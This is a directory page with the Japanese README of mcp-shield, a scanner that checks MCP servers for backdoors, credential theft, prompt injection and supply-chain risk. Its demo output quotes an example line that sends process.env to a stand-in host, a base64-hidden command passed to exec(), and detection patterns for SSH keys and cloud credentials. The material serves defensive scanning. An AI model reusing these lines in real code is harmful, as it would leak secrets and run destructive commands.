Skip to main content
Glama

mcp-shield

MCPサーバー用のセキュリティスキャナー — バックドア、データ流出、プロンプトインジェクション、サプライチェーンのリスクをAIに到達する前に検出します。

MCPエコシステムは急速に成長しています。npm上のすべてのサーバーが安全とは限りません。mcp-shieldを使用すると、Claudeがファイル、キー、コンテキストを信頼する前に、ローカルまたはnpm上のあらゆるMCPサーバーを監査できます。


検出内容

カテゴリ

データ流出

ネットワーク経由で送信される process.env、SSHキーへのアクセス、AWS認証情報の読み取り

コード実行

eval()new Function()child_process.exec()、動的な require()

難読化

Base64ランタイムデコード、16進数エンコードされたペイロード、文字コード配列

機密ファイルアクセス

.envid_rsa、ブラウザのCookie、~/.gitconfig

プロンプトインジェクション

隠し命令、ゼロ幅文字、ロールスイッチ攻撃、脱獄(ジェイルブレイク)パターン

サプライチェーン

パッケージの経過期間、ダウンロード数、メンテナー数、依存関係のCVE


デモ

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

ツール

ツール

機能

scan_package

npm MCPパッケージをダウンロードし、悪意のあるパターンをスキャンする

scan_directory

ローカルのMCPサーバーディレクトリ(GitHubからクローンしたものなど)をスキャンする

check_prompt_injection

ツールの説明や応答に隠れたインジェクションがないか確認する

audit_supply_chain

npmパッケージの信頼スコア、CVE、メンテナー数、経過期間を取得する


インストール

オプション 1 — npx (インストール不要)

claude mcp add mcp-shield -- npx mcp-shield

オプション 2 — グローバルインストール

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

オプション 3 — 手動設定

~/.claude/claude_mcp_config.json に追加します:

{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}

使用例

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

仕組み

静的解析 — JavaScript/TypeScriptソースファイルをスキャンし、5つのカテゴリにわたる20以上の攻撃シグネチャを網羅した正規表現パターンライブラリを使用します。

サプライチェーン監査 — npmレジストリに対してパッケージメタデータを照会し、npm auditを実行して依存関係ツリー内の既知のCVEを明らかにします。

プロンプトインジェクション検出 — ツールの説明や応答に、ゼロ幅文字、命令のオーバーライド、ロールスイッチ攻撃、その他のLLMを標的とした手法が含まれていないかチェックします。

--ignore-scripts インストール — npmパッケージをスキャンする際、--ignore-scripts を付けてインストールすることで、分析中に悪意のあるpostinstallフックが実行されないようにします。


コントリビューション

プルリクエストを歓迎します。検出パターンは src/patterns.ts にあります。新しいシグネチャの追加は1つのオブジェクトを追加するだけです。

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

ライセンス

MIT

Install Server
A
security – no known vulnerabilities
A
license - permissive license
A
quality - A tier

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/muhannad-hash/mcp-shield'

If you have feedback or need assistance with the MCP directory API, please join our Discord server